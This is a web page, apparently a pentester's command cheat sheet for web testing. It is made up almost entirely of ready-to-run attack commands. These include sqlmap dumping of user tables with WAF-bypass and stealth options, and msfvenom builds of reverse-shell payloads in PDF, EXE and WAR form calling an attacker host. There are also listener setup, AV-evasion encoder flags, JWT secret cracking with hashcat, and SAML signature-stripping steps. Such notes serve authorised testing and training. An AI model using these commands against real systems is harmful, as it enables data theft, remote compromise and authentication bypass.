Salta ai contenuti
Seleziona tema

Web testing tools

Questi contenuti non sono ancora disponibili nella tua lingua.

Commands distilled from the web notes. Full context in the matching notes.

From a saved Burp request
sqlmap -r request.txt -p id --batch --level 3 --risk 2 --dbms sqlite
Test a cookie parameter
sqlmap -u "https://<target>" --cookie="TrackingId=xyz" -p TrackingId --batch
Test POST data
sqlmap -u "https://<target>/login" --data="username=admin&password=test" --batch
List databases
sqlmap -r request.txt --dbs
List tables
sqlmap -r request.txt -D <dbname> --tables
List columns
sqlmap -r request.txt -D <dbname> -T users --columns
Dump table
sqlmap -r request.txt -D <dbname> -T users --dump
Dump with condition
sqlmap -r request.txt -D <dbname> -T users --dump --where="role='admin'"
Flag Purpose
-r request.txt Saved HTTP request (headers and cookies exact)
-p id Target one parameter
--level 3 --risk 2 More injection points and aggressive payloads
--dbms postgresql Skip fingerprinting, go straight to the right dialect
--technique=BT Boolean + Time only (quieter)
--batch Non-interactive, accept defaults
--threads 10 Parallel requests (faster, noisier)
--random-agent Randomize User-Agent
--delay 1 Wait between requests (stealthier)
Generic bypass
sqlmap -r request.txt --tamper=space2comment,randomcase
MySQL-specific
sqlmap -r request.txt --tamper=space2hash,charencode
Quick CORS check
curl -sI https://<target>/api/endpoint \
-H "Origin: https://attacker.example" \
| grep -i "access-control-allow-"
With cookies (credentialed)
curl -s https://<target>/api/me \
-H "Origin: https://attacker.example" \
-H "Cookie: session=<value>" \
| head -20
Python HTTP server (serve current dir)
python3 -m http.server 8080
Python HTTPS (self-signed, one-liner)
python3 -c "
import http.server, ssl
s = http.server.HTTPServer(('0.0.0.0',443), http.server.SimpleHTTPRequestHandler)
s.socket = ssl.wrap_socket(s.socket, certfile='cert.pem', server_side=True)
s.serve_forever()
"
PHP dev server
php -S 0.0.0.0:8080
Reverse shell PDF (Adobe Reader exploit)
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=<attacker-ip> LPORT=4444 \
-f pdf -o payload.pdf
Windows executable
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=<ip> LPORT=4444 -f exe -o shell.exe
Java WAR (Tomcat deploy)
msfvenom -p java/jsp_shell_reverse_tcp \
LHOST=<ip> LPORT=4444 -f war -o shell.war
Flag Purpose
-p <payload> Payload module
-f <format> Output format (pdf, exe, raw, war, ps1, python)
-o <file> Output filename
-e <encoder> Encoder for AV evasion (e.g. x86/shikata_ga_nai)
-i <count> Encoder iterations
LHOST / LPORT Listener address and port
Catch the reverse shell
msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <attacker-ip>
set LPORT 4444
exploit

Full context in the malicious file upload note.

Crack HS256 JWT secret
hashcat -a 0 -m 16500 "eyJhbGciOiJIUzI1NiJ9.eyJzdWIi..." /usr/share/wordlists/rockyou.txt
Flag Purpose
-a 0 Dictionary attack
-m 16500 JWT (HS256 / HS384 / HS512)
--show Display cracked secret after the run

If the secret is found in under 30 seconds it is weak. Generate forged tokens with Python PyJWT or jwt.io.

Extension Vuln class Key action
SAML Raider SAML SSO Decode SAMLResponse, remove signatures, XSW attacks (XSW1–8), re-sign with own cert
JWT Editor JWT auth Decode/modify/sign JWTs directly in Repeater; generate RSA keys for JWK injection
Param Miner Cache poisoning Guess unkeyed headers and parameters; auto-adds cache buster
Logger++ Info disclosure Advanced filtering and grep across all traffic
  1. Find the POST with SAMLResponse → Send to Repeater
  2. Open the SAML Raider tab → XML is decoded
  3. Change <NameID> to the target user
  4. Try: send as-is (Test 1) → Remove Signatures (Test 2) → XSW dropdown (Test 3) → Re-Sign with own cert (Test 4)
  5. Each test needs a fresh token (SAML tokens expire in ~5 min)
Action Shortcut / path
Send to Repeater Ctrl+R
Send to Intruder Ctrl+I
Generate CSRF PoC Engagement tools > Generate CSRF PoC
Match and Replace (add header) Proxy > Options > Match and Replace
Copy as curl Right-click request > Copy as curl command
Simple listener
nc -lvnp 4444
Stabilize shell (after catching)
python3 -c 'import pty;pty.spawn("/bin/bash")'
# then Ctrl+Z
stty raw -echo; fg
export TERM=xterm

364 parole, circa 2 min di lettura